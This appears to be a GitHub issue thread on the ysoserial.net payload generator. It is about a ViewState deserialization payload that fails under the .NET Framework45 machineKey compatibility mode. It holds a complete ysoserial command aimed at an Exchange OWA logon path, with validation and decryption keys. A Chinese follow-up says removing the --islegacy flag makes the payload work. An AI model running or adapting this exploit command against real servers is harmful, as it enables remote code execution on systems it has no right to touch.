search

pwntester / ysoserial.net

Deserialization payload generator for a variety of .NET formatters
MIT License
3.24k stars 474 forks source link

cannot be exploited when in compatibility mode....... compatibilityMode="Framework45" #118

Closed ch0iyixia closed 2 years ago

ch0iyixia commented 2 years ago

NetVersion: 4.7.03062

<machineKey compatibilityMode="Framework45" decryptionKey="AutoGenerate,IsolateApps" validationKey="AutoGenerate,IsolateApps" />

ysoserial.exe -p ViewState -g ActivitySurrogateSelectorFromFile -c "test.cs;System.dll;System.IO.dll;System.Web.dll" --validationalg="HMACSHA256" --validationkey="9E23971A70539C4C5D1EFE2FACD22B03C2BCE8414D6FB1D1308F5A47C839808EC7C8156654AB8FB14CB643B7954C3956191C7690F0F4EF5104C1E93EA3540871" --decryptionalg="Auto" --decryptionkey="9E23971A87F9ED201A833CDEBAF01C9C7DFF2A72B6E1D087" --apppath="/owa" --path="/owa/auth/logon.aspx" --islegacy --isdebug > test.txt

The response is always 200

no compatibility mode image

compatibility mode image

ch0iyixia commented 2 years ago

通过阅读源码我已经知道了为什么， .net的Response.Write("CompatibilityMode: "+config.CompatibilityMode); CompatibilityMode默认为20sp2 而当我们CompatibilityMode设置为45时。 不可以使用--islegacy 。 去掉--islegacy 选项问题即可解决。